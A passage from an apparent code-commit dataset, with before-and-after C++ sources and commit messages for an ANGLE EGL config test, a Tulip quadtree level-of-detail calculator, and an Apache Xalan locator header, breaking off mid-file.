EGL_COLOR_BUFFER_TYPE is defaulted to EGL_RGB_BUFFER\nTEST_P(EGLChooseConfigTest, Defaults)\n{\n EGLDisplay display = getEGLWindow()->getDisplay();\n\n EGLint nConfigs = 0;\n EGLint allConfigCount = 0;\n ASSERT_EGL_TRUE(eglGetConfigs(display, nullptr, 0, &nConfigs));\n ASSERT_NE(nConfigs, 0);\n\n std::vector<EGLConfig> allConfigs(nConfigs);\n ASSERT_EGL_TRUE(eglGetConfigs(display, allConfigs.data(), nConfigs, &allConfigCount));\n ASSERT_EQ(nConfigs, allConfigCount);\n\n \/\/ Choose configs that have the default attribute values:\n const EGLint defaultConfigAttributes[] = {EGL_NONE};\n EGLint defaultConfigCount;\n std::vector<EGLConfig> defaultConfigs(allConfigCount);\n ASSERT_EGL_TRUE(eglChooseConfig(display, defaultConfigAttributes, defaultConfigs.data(),\n defaultConfigs.size(), &defaultConfigCount));\n ASSERT_EGL_SUCCESS();\n ASSERT_LE(defaultConfigCount, allConfigCount);\n\n \/\/ Check that the default configs all have the default attribute values we care about:\n for (EGLConfig config : defaultConfigs)\n {\n EGLint colorBufferType, level, renderableType, surfaceType, transparentType;\n EGLint colorComponentType;\n\n eglGetConfigAttrib(display, config, EGL_COLOR_BUFFER_TYPE, &colorBufferType);\n ASSERT_EQ(colorBufferType, EGL_RGB_BUFFER);\n\n eglGetConfigAttrib(display, config, EGL_LEVEL, &level);\n ASSERT_EQ(level, 0);\n\n eglGetConfigAttrib(display, config, EGL_RENDERABLE_TYPE, &renderableType);\n ASSERT_EQ(renderableType & EGL_OPENGL_ES_BIT, EGL_OPENGL_ES_BIT);\n\n eglGetConfigAttrib(display, config, EGL_SURFACE_TYPE, &surfaceType);\n ASSERT_EQ(surfaceType & EGL_WINDOW_BIT, EGL_WINDOW_BIT);\n\n eglGetConfigAttrib(display, config, EGL_TRANSPARENT_TYPE, &transparentType);\n ASSERT_EQ(transparentType, EGL_NONE);\n\n if (IsEGLDisplayExtensionEnabled(display, \"EGL_EXT_pixel_format_float\"))\n {\n eglGetConfigAttrib(display, config, EGL_COLOR_COMPONENT_TYPE_EXT, &colorComponentType);\n ASSERT_EQ(colorComponentType, EGL_COLOR_COMPONENT_TYPE_FIXED_EXT);\n }\n }\n\n \/\/ Check that all of the configs that have the default attribute values are are defaultConfigs,\n \/\/ and all that don't aren't:\n for (EGLConfig config : allConfigs)\n {\n EGLint colorBufferType, level, renderableType, surfaceType, transparentType;\n EGLint colorComponentType = EGL_COLOR_COMPONENT_TYPE_FIXED_EXT;\n\n eglGetConfigAttrib(display, config, EGL_COLOR_BUFFER_TYPE, &colorBufferType);\n eglGetConfigAttrib(display, config, EGL_LEVEL, &level);\n eglGetConfigAttrib(display, config, EGL_RENDERABLE_TYPE, &renderableType);\n eglGetConfigAttrib(display, config, EGL_SURFACE_TYPE, &surfaceType);\n eglGetConfigAttrib(display, config, EGL_TRANSPARENT_TYPE, &transparentType);\n if (IsEGLDisplayExtensionEnabled(display, \"EGL_EXT_pixel_format_float\"))\n {\n eglGetConfigAttrib(display, config, EGL_COLOR_COMPONENT_TYPE_EXT, &colorComponentType);\n }\n\n bool isADefault =\n ((colorBufferType == EGL_RGB_BUFFER) && (level == 0) &&\n ((renderableType & EGL_OPENGL_ES_BIT) == EGL_OPENGL_ES_BIT) &&\n ((surfaceType & EGL_WINDOW_BIT) == EGL_WINDOW_BIT) && (transparentType == EGL_NONE) &&\n (colorComponentType == EGL_COLOR_COMPONENT_TYPE_FIXED_EXT));\n EGLint thisConfigID;\n eglGetConfigAttrib(display, config, EGL_CONFIG_ID, &thisConfigID);\n bool foundInDefaultConfigs = false;\n \/\/ Attempt to find this config ID in defaultConfigs:\n for (EGLConfig defaultConfig : defaultConfigs)\n {\n EGLint defaultConfigID;\n eglGetConfigAttrib(display, defaultConfig, EGL_CONFIG_ID, &defaultConfigID);\n if (defaultConfigID == thisConfigID)\n {\n foundInDefaultConfigs = true;\n }\n }\n ASSERT_EQ(isADefault, foundInDefaultConfigs);\n }\n}\n\n} \/\/ namespace angle\n\nANGLE_INSTANTIATE_TEST(EGLChooseConfigTest,\n ES2_D3D11(),\n ES2_D3D9(),\n ES2_METAL(),\n ES2_OPENGL(),\n ES2_OPENGLES(),\n ES2_VULKAN());\n<commit_msg>Vulkan: Resize the result vector in EGLChooseConfigTest end2end test<commit_after>\/\/\n\/\/ Copyright 2019 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ EGLChooseConfigTest.cpp:\n\/\/ Tests of proper default-value semantics for eglChooseConfig\n\n#include <gtest\/gtest.h>\n\n#include \"test_utils\/ANGLETest.h\"\n#include \"test_utils\/angle_test_configs.h\"\n#include \"util\/EGLWindow.h\"\n\nusing namespace angle;\n\nnamespace angle\n{\nclass EGLChooseConfigTest : public ANGLETest\n{\n protected:\n EGLChooseConfigTest() {}\n};\n\n\/\/ Test that the EGL_COLOR_BUFFER_TYPE is defaulted to EGL_RGB_BUFFER\nTEST_P(EGLChooseConfigTest, Defaults)\n{\n EGLDisplay display = getEGLWindow()->getDisplay();\n\n EGLint nConfigs = 0;\n EGLint allConfigCount = 0;\n ASSERT_EGL_TRUE(eglGetConfigs(display, nullptr, 0, &nConfigs));\n ASSERT_NE(nConfigs, 0);\n\n std::vector<EGLConfig> allConfigs(nConfigs);\n ASSERT_EGL_TRUE(eglGetConfigs(display, allConfigs.data(), nConfigs, &allConfigCount));\n ASSERT_EQ(nConfigs, allConfigCount);\n\n \/\/ Choose configs that have the default attribute values:\n const EGLint defaultConfigAttributes[] = {EGL_NONE};\n EGLint defaultConfigCount;\n std::vector<EGLConfig> defaultConfigs(allConfigCount);\n ASSERT_EGL_TRUE(eglChooseConfig(display, defaultConfigAttributes, defaultConfigs.data(),\n defaultConfigs.size(), &defaultConfigCount));\n ASSERT_EGL_SUCCESS();\n ASSERT_LE(defaultConfigCount, allConfigCount);\n defaultConfigs.resize(defaultConfigCount);\n\n \/\/ Check that the default configs all have the default attribute values we care about:\n for (EGLConfig config : defaultConfigs)\n {\n EGLint colorBufferType, level, renderableType, surfaceType, transparentType;\n EGLint colorComponentType;\n\n eglGetConfigAttrib(display, config, EGL_COLOR_BUFFER_TYPE, &colorBufferType);\n ASSERT_EQ(colorBufferType, EGL_RGB_BUFFER);\n\n eglGetConfigAttrib(display, config, EGL_LEVEL, &level);\n ASSERT_EQ(level, 0);\n\n eglGetConfigAttrib(display, config, EGL_RENDERABLE_TYPE, &renderableType);\n ASSERT_EQ(renderableType & EGL_OPENGL_ES_BIT, EGL_OPENGL_ES_BIT);\n\n eglGetConfigAttrib(display, config, EGL_SURFACE_TYPE, &surfaceType);\n ASSERT_EQ(surfaceType & EGL_WINDOW_BIT, EGL_WINDOW_BIT);\n\n eglGetConfigAttrib(display, config, EGL_TRANSPARENT_TYPE, &transparentType);\n ASSERT_EQ(transparentType, EGL_NONE);\n\n if (IsEGLDisplayExtensionEnabled(display, \"EGL_EXT_pixel_format_float\"))\n {\n eglGetConfigAttrib(display, config, EGL_COLOR_COMPONENT_TYPE_EXT, &colorComponentType);\n ASSERT_EQ(colorComponentType, EGL_COLOR_COMPONENT_TYPE_FIXED_EXT);\n }\n }\n\n \/\/ Check that all of the configs that have the default attribute values are are defaultConfigs,\n \/\/ and all that don't aren't:\n for (EGLConfig config : allConfigs)\n {\n EGLint colorBufferType, level, renderableType, surfaceType, transparentType;\n EGLint colorComponentType = EGL_COLOR_COMPONENT_TYPE_FIXED_EXT;\n\n eglGetConfigAttrib(display, config, EGL_COLOR_BUFFER_TYPE, &colorBufferType);\n eglGetConfigAttrib(display, config, EGL_LEVEL, &level);\n eglGetConfigAttrib(display, config, EGL_RENDERABLE_TYPE, &renderableType);\n eglGetConfigAttrib(display, config, EGL_SURFACE_TYPE, &surfaceType);\n eglGetConfigAttrib(display, config, EGL_TRANSPARENT_TYPE, &transparentType);\n if (IsEGLDisplayExtensionEnabled(display, \"EGL_EXT_pixel_format_float\"))\n {\n eglGetConfigAttrib(display, config, EGL_COLOR_COMPONENT_TYPE_EXT, &colorComponentType);\n }\n\n bool isADefault =\n ((colorBufferType == EGL_RGB_BUFFER) && (level == 0) &&\n ((renderableType & EGL_OPENGL_ES_BIT) == EGL_OPENGL_ES_BIT) &&\n ((surfaceType & EGL_WINDOW_BIT) == EGL_WINDOW_BIT) && (transparentType == EGL_NONE) &&\n (colorComponentType == EGL_COLOR_COMPONENT_TYPE_FIXED_EXT));\n EGLint thisConfigID;\n eglGetConfigAttrib(display, config, EGL_CONFIG_ID, &thisConfigID);\n bool foundInDefaultConfigs = false;\n \/\/ Attempt to find this config ID in defaultConfigs:\n for (EGLConfig defaultConfig : defaultConfigs)\n {\n EGLint defaultConfigID;\n eglGetConfigAttrib(display, defaultConfig, EGL_CONFIG_ID, &defaultConfigID);\n if (defaultConfigID == thisConfigID)\n {\n foundInDefaultConfigs = true;\n }\n }\n ASSERT_EQ(isADefault, foundInDefaultConfigs);\n }\n}\n\n} \/\/ namespace angle\n\nANGLE_INSTANTIATE_TEST(EGLChooseConfigTest,\n ES2_D3D11(),\n ES2_D3D9(),\n ES2_METAL(),\n ES2_OPENGL(),\n ES2_OPENGLES(),\n ES2_VULKAN());\n<|endoftext|>"} {"text":"<commit_before>#include \"GlQuadTreeLODCalculator.h\"\n#include \"Utils.h\"\n#include \"QuadTree.h\"\n#include \"GlEntity.h\"\n#include \"GlLayer.h\"\n\n#ifdef _OPENMP\n#include <omp.h>\n#endif\n\n#include <tulip\/Matrix.h>\n#include <tulip\/LayoutProperty.h>\n#include <tulip\/PropertyInterface.h>\n\nusing namespace std;\nusing namespace tlp;\n\nGlQuadTreeLODCalculator::GlQuadTreeLODCalculator() : _nodesQuadTree(NULL), _edgesQuadTree(NULL), _haveToCompute(true) {\n#ifdef __EMSCRIPTEN__\n _haveToCompute = false;\n#endif\n}\n\nGlQuadTreeLODCalculator::~GlQuadTreeLODCalculator() {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n delete it->second;\n }\n delete _nodesQuadTree;\n delete _edgesQuadTree;\n}\n\nvoid GlQuadTreeLODCalculator::setGraph(tlp::Graph *graph, GlGraphRenderingParameters *renderingParameters) {\n _haveToCompute = true;\n GlCPULODCalculator::setGraph(graph, renderingParameters);\n}\n\nvoid GlQuadTreeLODCalculator::initQuadTree() {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n delete it->second;\n }\n _glEntitiesQuadTree.clear();\n delete _nodesQuadTree;\n delete _edgesQuadTree;\n\n _nodesQuadTree = new QuadTreeNode<node>(_sceneBoundingBox);\n _edgesQuadTree = new QuadTreeNode<edge>(_sceneBoundingBox);\n}\n\nvoid GlQuadTreeLODCalculator::clear() {\n GlCPULODCalculator::clear();\n initQuadTree();\n}\n\nvoid GlQuadTreeLODCalculator::setSceneBoundingBox(const tlp::BoundingBox &sceneBoundingBox) {\n GlCPULODCalculator::setSceneBoundingBox(sceneBoundingBox);\n initQuadTree();\n}\n\nvoid GlQuadTreeLODCalculator::addGlEntity(GlLayer *layer, GlEntity *glEntity) {\n if (_sceneBoundingBox.isValid() && _glEntitiesQuadTree.find(layer) == _glEntitiesQuadTree.end()) {\n _glEntitiesQuadTree[layer] = new QuadTreeNode<GlEntity*>(_sceneBoundingBox);\n }\n if (_sceneBoundingBox.isValid() && _glEntitiesQuadTree[layer]->getCellForElement(glEntity) == NULL) {\n _glEntitiesQuadTree[layer]->insert(glEntity->getBoundingBox(), glEntity);\n }\n GlCPULODCalculator::addGlEntity(layer, glEntity);\n}\n\nvoid GlQuadTreeLODCalculator::removeGlEntity(GlLayer *layer, GlEntity *glEntity) {\n if (_glEntitiesQuadTree.find(layer) != _glEntitiesQuadTree.end()) {\n _glEntitiesQuadTree[layer]->remove(glEntity);\n }\n}\n\nvoid GlQuadTreeLODCalculator::removeLayer(GlLayer *layer) {\n if (_glEntitiesQuadTree.find(layer) != _glEntitiesQuadTree.end()) {\n delete _glEntitiesQuadTree[layer];\n _glEntitiesQuadTree.erase(layer);\n }\n}\n\nvoid GlQuadTreeLODCalculator::addNode(const tlp::node n) {\n GlCPULODCalculator::addNode(n);\n insertNodeInQuadTree(_nodesLODVector.back().boundingBox, n);\n}\n\nvoid GlQuadTreeLODCalculator::addEdge(const tlp::edge e) {\n GlCPULODCalculator::addEdge(e);\n insertEdgeInQuadTree(_edgesLODVector.back().boundingBox, e);\n}\n\nvoid GlQuadTreeLODCalculator::insertNodeInQuadTree(const tlp::BoundingBox &nodeBoundingBox, const tlp::node n) {\n _nodesQuadTree->insert(nodeBoundingBox, n);\n}\n\nvoid GlQuadTreeLODCalculator::insertEdgeInQuadTree(BoundingBox edgeBoundingBox, const tlp::edge e) {\n \/\/ This code is here to expand edge bounding box when we have an edge with direction (0,0,x)\n if(edgeBoundingBox[0][0] == edgeBoundingBox[1][0] && edgeBoundingBox[0][1] == edgeBoundingBox[1][1]) {\n edgeBoundingBox.expand(edgeBoundingBox[1]+Coord(0.01,0.01,0));\n }\n _edgesQuadTree->insert(edgeBoundingBox, e);\n}\n\nvoid GlQuadTreeLODCalculator::computeFor3DCamera(const Coord &eye, const Matrix<float, 4> &transformMatrix,\n const Vector<int,4>& globalViewport, const Vector<int,4>& currentViewport) {\n\n \/\/ aX,aY : rotation on the camera in x and y\n Coord eyeCenter=camera->getCenter()-camera->getEyes();\n double aX=atan(eyeCenter[1]\/eyeCenter[2]);\n double aY=atan(eyeCenter[0]\/eyeCenter[2]);\n\n _glEntitiesLODVector.clear();\n _nodesLODVector.clear();\n _edgesLODVector.clear();\n\n MatrixGL invTransformMatrix(transformMatrix);\n invTransformMatrix.inverse();\n Coord pSrc = projectPoint(Coord(0,0,0), transformMatrix, globalViewport);\n\n Vector<int,4> transformedViewport=currentViewport;\n transformedViewport[1]=globalViewport[3]-(currentViewport[1]+currentViewport[3]);\n BoundingBox cameraBoundingBox;\n\n \/\/ Project camera bounding box to known visible part of the quadtree\n pSrc[0] = transformedViewport[0];\n pSrc[1] = (globalViewport[1] + globalViewport[3]) - (transformedViewport[1] + transformedViewport[3]);\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[1] = transformedViewport[1]+transformedViewport[3];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[0] = transformedViewport[0]+transformedViewport[2];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[1] = transformedViewport[1];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n\n \/\/ Get result of quadtrees\n#ifdef _OPENMP\n#pragma omp parallel\n#endif\n {\n#ifdef _OPENMP\n#pragma omp sections nowait\n#endif\n {\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if((_renderingEntitiesFlag & RenderingGlEntities)!=0) {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n vector<GlEntity*> resGlEntities;\n if(aX==0 && aY==0) {\n it->second->getElements(cameraBoundingBox,resGlEntities);\n }\n else {\n it->second->getElements(resGlEntities);\n }\n\n for(size_t i = 0 ; i < resGlEntities.size() ; ++i) {\n _glEntitiesLODVector[it->first].push_back(GlEntityLODUnit(resGlEntities[i]));\n }\n }\n }\n }\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if(_graph && (_renderingEntitiesFlag & RenderingNodes)!=0) {\n vector<node> resNodes;\n resNodes.reserve(_graph->numberOfNodes());\n if(aX==0 && aY==0) {\n if(_nodesQuadTree)\n _nodesQuadTree->getElements(cameraBoundingBox,resNodes);\n }\n else {\n if(_nodesQuadTree)\n _nodesQuadTree->getElements(resNodes);\n }\n\n\n _nodesLODVector.reserve(resNodes.size());\n\n for(size_t i = 0 ; i < resNodes.size() ; ++i) {\n _nodesLODVector.push_back(NodeEntityLODUnit(resNodes[i], _nodesBBCache[resNodes[i]]));\n }\n }\n }\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if(_graph && (_renderingEntitiesFlag & RenderingEdges)!=0) {\n vector<edge> resEdges;\n resEdges.reserve(_graph->numberOfEdges());\n if(aX==0 && aY==0) {\n if(_edgesQuadTree)\n _edgesQuadTree->getElements(cameraBoundingBox,resEdges);\n }\n else {\n if(_edgesQuadTree)\n _edgesQuadTree->getElements(resEdges);\n }\n\n for(size_t i = 0 ; i < resEdges.size() ; ++i) {\n _edgesLODVector.push_back(EdgeEntityLODUnit(resEdges[i], _edgesBBCache[resEdges[i]]));\n }\n }\n }\n }\n }\n\n GlCPULODCalculator::computeFor3DCamera(eye,transformMatrix,globalViewport,currentViewport);\n}\n\n<commit_msg>fix GlQuadTreeLODCalculator implementation after last commit<commit_after>#include \"GlQuadTreeLODCalculator.h\"\n#include \"Utils.h\"\n#include \"QuadTree.h\"\n#include \"GlEntity.h\"\n#include \"GlLayer.h\"\n\n#ifdef _OPENMP\n#include <omp.h>\n#endif\n\n#include <tulip\/Matrix.h>\n#include <tulip\/LayoutProperty.h>\n#include <tulip\/PropertyInterface.h>\n\nusing namespace std;\nusing namespace tlp;\n\nGlQuadTreeLODCalculator::GlQuadTreeLODCalculator() : _nodesQuadTree(NULL), _edgesQuadTree(NULL), _haveToCompute(true) {\n#ifdef __EMSCRIPTEN__\n _haveToCompute = false;\n#endif\n}\n\nGlQuadTreeLODCalculator::~GlQuadTreeLODCalculator() {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n delete it->second;\n }\n delete _nodesQuadTree;\n delete _edgesQuadTree;\n}\n\nvoid GlQuadTreeLODCalculator::setGraph(tlp::Graph *graph, GlGraphRenderingParameters *renderingParameters) {\n _haveToCompute = true;\n GlCPULODCalculator::setGraph(graph, renderingParameters);\n}\n\nvoid GlQuadTreeLODCalculator::initQuadTree() {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n delete it->second;\n }\n _glEntitiesQuadTree.clear();\n delete _nodesQuadTree;\n delete _edgesQuadTree;\n\n _nodesQuadTree = new QuadTreeNode<node>(_sceneBoundingBox);\n _edgesQuadTree = new QuadTreeNode<edge>(_sceneBoundingBox);\n}\n\nvoid GlQuadTreeLODCalculator::clear() {\n GlCPULODCalculator::clear();\n initQuadTree();\n}\n\nvoid GlQuadTreeLODCalculator::setSceneBoundingBox(const tlp::BoundingBox &sceneBoundingBox) {\n GlCPULODCalculator::setSceneBoundingBox(sceneBoundingBox);\n initQuadTree();\n}\n\nvoid GlQuadTreeLODCalculator::addGlEntity(GlLayer *layer, GlEntity *glEntity) {\n if (_sceneBoundingBox.isValid() && _glEntitiesQuadTree.find(layer) == _glEntitiesQuadTree.end()) {\n _glEntitiesQuadTree[layer] = new QuadTreeNode<GlEntity*>(_sceneBoundingBox);\n }\n if (_sceneBoundingBox.isValid() && _glEntitiesQuadTree[layer]->getCellForElement(glEntity) == NULL) {\n _glEntitiesQuadTree[layer]->insert(glEntity->getBoundingBox(), glEntity);\n }\n GlCPULODCalculator::addGlEntity(layer, glEntity);\n}\n\nvoid GlQuadTreeLODCalculator::removeGlEntity(GlLayer *layer, GlEntity *glEntity) {\n if (_glEntitiesQuadTree.find(layer) != _glEntitiesQuadTree.end()) {\n _glEntitiesQuadTree[layer]->remove(glEntity);\n }\n}\n\nvoid GlQuadTreeLODCalculator::removeLayer(GlLayer *layer) {\n if (_glEntitiesQuadTree.find(layer) != _glEntitiesQuadTree.end()) {\n delete _glEntitiesQuadTree[layer];\n _glEntitiesQuadTree.erase(layer);\n }\n}\n\nvoid GlQuadTreeLODCalculator::addNode(const tlp::node n) {\n GlCPULODCalculator::addNode(n);\n insertNodeInQuadTree(_nodesLODVector.back().boundingBox, n);\n}\n\nvoid GlQuadTreeLODCalculator::addEdge(const tlp::edge e) {\n GlCPULODCalculator::addEdge(e);\n insertEdgeInQuadTree(_edgesLODVector.back().boundingBox, e);\n}\n\nvoid GlQuadTreeLODCalculator::insertNodeInQuadTree(const tlp::BoundingBox &nodeBoundingBox, const tlp::node n) {\n _nodesQuadTree->insert(nodeBoundingBox, n);\n}\n\nvoid GlQuadTreeLODCalculator::insertEdgeInQuadTree(BoundingBox edgeBoundingBox, const tlp::edge e) {\n \/\/ This code is here to expand edge bounding box when we have an edge with direction (0,0,x)\n if(edgeBoundingBox[0][0] == edgeBoundingBox[1][0] && edgeBoundingBox[0][1] == edgeBoundingBox[1][1]) {\n edgeBoundingBox.expand(edgeBoundingBox[1]+Coord(0.01,0.01,0));\n }\n _edgesQuadTree->insert(edgeBoundingBox, e);\n}\n\nvoid GlQuadTreeLODCalculator::computeFor3DCamera(const Coord &eye, const Matrix<float, 4> &transformMatrix,\n const Vector<int,4>& globalViewport, const Vector<int,4>& currentViewport) {\n\n \/\/ aX,aY : rotation on the camera in x and y\n Coord eyeCenter=camera->getCenter()-camera->getEyes();\n double aX=atan(eyeCenter[1]\/eyeCenter[2]);\n double aY=atan(eyeCenter[0]\/eyeCenter[2]);\n\n _glEntitiesLODVector.clear();\n _nodesLODVector.clear();\n _edgesLODVector.clear();\n\n MatrixGL invTransformMatrix(transformMatrix);\n invTransformMatrix.inverse();\n Coord pSrc = projectPoint(Coord(0,0,0), transformMatrix, globalViewport);\n\n BoundingBox cameraBoundingBox;\n\n \/\/ Project camera bounding box to known visible part of the quadtree\n pSrc[0] = currentViewport[0];\n pSrc[1] = (globalViewport[1] + globalViewport[3]) - (currentViewport[1] + currentViewport[3]);\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[1] = currentViewport[1]+currentViewport[3];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[0] = currentViewport[0]+currentViewport[2];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n pSrc[1] = currentViewport[1];\n cameraBoundingBox.expand(unprojectPoint(pSrc, invTransformMatrix, globalViewport));\n\n \/\/ Get result of quadtrees\n#ifdef _OPENMP\n#pragma omp parallel\n#endif\n {\n#ifdef _OPENMP\n#pragma omp sections nowait\n#endif\n {\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if((_renderingEntitiesFlag & RenderingGlEntities)!=0) {\n std::map<GlLayer*, QuadTreeNode<GlEntity*> *>::iterator it = _glEntitiesQuadTree.begin();\n for (; it != _glEntitiesQuadTree.end() ; ++it) {\n vector<GlEntity*> resGlEntities;\n if(aX==0 && aY==0) {\n it->second->getElements(cameraBoundingBox,resGlEntities);\n }\n else {\n it->second->getElements(resGlEntities);\n }\n\n for(size_t i = 0 ; i < resGlEntities.size() ; ++i) {\n _glEntitiesLODVector[it->first].push_back(GlEntityLODUnit(resGlEntities[i]));\n }\n }\n }\n }\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if(_graph && (_renderingEntitiesFlag & RenderingNodes)!=0) {\n vector<node> resNodes;\n resNodes.reserve(_graph->numberOfNodes());\n if(aX==0 && aY==0) {\n if(_nodesQuadTree)\n _nodesQuadTree->getElements(cameraBoundingBox,resNodes);\n }\n else {\n if(_nodesQuadTree)\n _nodesQuadTree->getElements(resNodes);\n }\n\n\n _nodesLODVector.reserve(resNodes.size());\n\n for(size_t i = 0 ; i < resNodes.size() ; ++i) {\n _nodesLODVector.push_back(NodeEntityLODUnit(resNodes[i], _nodesBBCache[resNodes[i]]));\n }\n }\n }\n#ifdef _OPENMP\n#pragma omp section\n#endif\n {\n if(_graph && (_renderingEntitiesFlag & RenderingEdges)!=0) {\n vector<edge> resEdges;\n resEdges.reserve(_graph->numberOfEdges());\n if(aX==0 && aY==0) {\n if(_edgesQuadTree)\n _edgesQuadTree->getElements(cameraBoundingBox,resEdges);\n }\n else {\n if(_edgesQuadTree)\n _edgesQuadTree->getElements(resEdges);\n }\n\n for(size_t i = 0 ; i < resEdges.size() ; ++i) {\n _edgesLODVector.push_back(EdgeEntityLODUnit(resEdges[i], _edgesBBCache[resEdges[i]]));\n }\n }\n }\n }\n }\n\n GlCPULODCalculator::computeFor3DCamera(eye,transformMatrix,globalViewport,currentViewport);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#if !defined(XALANLOCATOR_HEADER_GUARD_1357924680)\n#define XALANLOCATOR_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base include file. Must be first.\n#include <xalanc\/PlatformSupport\/PlatformSupportDefinitions.hpp>\n\n\n\n#include <xercesc\/sax\/Locator.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nXALAN_USING_XERCES(Locator)\n\n\n\n\/**\n * This class defines a base class for Locator derivations in Xalan. It was defined\n * because Xerces made changes in their Locator class which caused turbulence.\n *\/\nclass XALAN_PLATFORMSUPPORT_EXPORT XalanLocator : public Locator\n{\npublic:\n\n typedef Locator ParentType;\n\n XalanLocator() {}\n\n virtual\n ~XalanLocator() {}\n\n virtual const XMLCh*\n getPublicId() const = 0;\n\n virtual const XMLCh*\n getSystemId() const = 0;\n\n virtual XalanFileLoc\n getLineNumber() const = 0;\n\n virtual XalanFileLoc\n getColumnNumber() const = 0;\n\n static const XalanDOMChar*\n getPublicId(\n const Locator* theLocator,\n const XalanDOMChar* theAlternateId = &s_dczero)\n {\n return theLocator == 0 ? theAlternateId : (theLocator->getPublicId() ?\n theLocator->getPublicId() : theAlternateId);\n }\n\n static const XalanDOMChar*\n getSystemId(\n const Locator* theLocator,\n const XalanDOMChar* theAlternateId = &s_dczero)\n {\n return theLocator == 0 ? theAlternateId : (theLocator->getSystemId() ?\n theLocator->getPublicId() : theAlternateId);\n }\n\n static XalanFileLoc\n getLineNumber(const ParentType* theLocator)\n {\n return theLocator == 0 ? getUnknownValue() : theLocator->getLineNumber();\n }\n\n static XalanFileLoc\n getColumnNumber(const ParentType* theLocator)\n {\n return theLocator == 0 ? getUnknownValue() : theLocator->getColumnNumber();\n }\n\n static XalanFileLoc\n getUnknownValue()\n {\n \/\/ The parser reports the maximum value of the XalanFileLoc\n \/\/ type for an unknown value.\n return ~static_cast<XalanFileLoc>(0);\n }\n\n static XalanFileLoc\n getUnknownDisplayValue()\n {\n \/\/ The parser reports the maximum value of the XalanFileLoc\n \/\/ type for an unknown value, but that is really non-sensical\n \/\/ for display purposes, so we use 0 instead.\n return static_cast<XalanFileLoc>(0);\n }\n\n static bool\n isUnknownValue(XalanFileLoc theLocation)\n {\n return theLocation == getUnknownValue();\n }\n\nprivate:\n\n \/\/ Not defined...\n XalanLocator(const XalanLocator&);\n\n XalanLocator&\n operator=(const XalanLocator&);\n\n const static XalanDOMChar s_dczero = 0;\n};\n\n\n\nXALAN_CPP_NAMESPACE_END\n\n\n\n#endif \/\/ PREFIXRESOLVER_HEADER_GUARD_1357924680\n<commit_msg>XALANC-733 Ensure that XalanLocator::getSystemId() and getPublicId() do not return NULL<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#if !defined(XALANLOCATOR_HEADER_GUARD_1357924680)\n#define XALANLOCATOR_HEADER_GUARD_1357924680\n\n\n\n\/\/ Base include file. Must be first.\n#include <xalanc\/PlatformSupport\/PlatformSupportDefinitions.hpp>\n\n\n\n#include <xercesc\/sax\/Locator.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nXALAN_USING_XERCES(Locator)\n\n\n\n\/**\n * This class defines a base class for Locator derivations in Xalan. It was defined\n * because Xerces made changes in their Locator class which caused turbulence.\n *\/\nclass XALAN_PLATFORMSUPPORT_EXPORT XalanLocator : public Locator\n{\npublic:\n\n typedef Locator ParentType;\n\n XalanLocator() {}\n\n virtual\n ~XalanLocator() {}\n\n virtual const XMLCh*\n getPublicId() const = 0;\n\n virtual const XMLCh*\n getSystemId() const = 0;\n\n virtual XalanFileLoc\n getLineNumber() const = 0;\n\n virtual XalanFileLoc\n getColumnNumber() const = 0;\n\n \/**\n * Get the public identifier from a locator object.\n * @param theLocator A locator object inherited from Xerces.\n * @param theAlternateId A default name for a public identifier.\n * @return a null terminated XalanDOMChar string.\n *\/\n static const 